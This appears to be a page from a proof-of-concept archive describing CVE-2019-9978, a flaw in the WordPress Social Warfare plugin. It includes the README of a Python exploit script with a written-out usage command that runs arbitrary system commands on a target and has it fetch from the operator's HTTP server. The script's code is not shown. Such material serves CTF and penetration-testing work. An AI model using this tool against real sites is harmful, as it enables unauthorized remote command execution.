Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-9978 PoC — WordPress social-warfare插件跨站脚本漏洞

Source
Associated Vulnerability
Title:WordPress social-warfare插件跨站脚本漏洞 (CVE-2019-9978)
Description:WordPress是WordPress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。social-warfare plugin是使用在其中的一个社交平台分享插件。 WordPress social-warfare插件3.5.3之前版本中存在跨站脚本漏洞。远程攻击者可借助‘swp_url’参数利用该漏洞注入恶意的JavaScript脚本。
Description
cve-2019-9978 PoC 
Readme
# cve-2019-9978

This is a script that allows exploiting the CVE-2019-9978 vulnerability in a straightforward manner, intended for use in Capture The Flag (CTF) challenges or as a proof of concept for penetration testing.

## Prerequisites

- Python 3
- Requests library (Install with `pip install requests`)

## Usage

1. Clone or download this repository.
2. Open a terminal and navigate to the script's directory.
3. Run the script with the following options:
```shell
   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` or `--url`: Set the target URL to deliver the payload.
   - `-c` or `--command`: Set the system command to run on the target system.
   - `-l` or `--local`: Set the IP and port for the HTTP server (optional).
```
4. The script starts an HTTP server, sends the payload to the target, and displays the result in the terminal.

## Example

```shell
./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345
```

## Disclaimer

This code is for educational and testing purposes only. Unauthorized use on systems without proper authorization is illegal and unethical. Use it responsibly.
File Snapshot

[4.0K] /data/pocs/9aaa995e9e0fc4c60e04cf6c07e3aeff82ce538b ├── [1.7K] cve-2019-9978.py └── [1.1K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.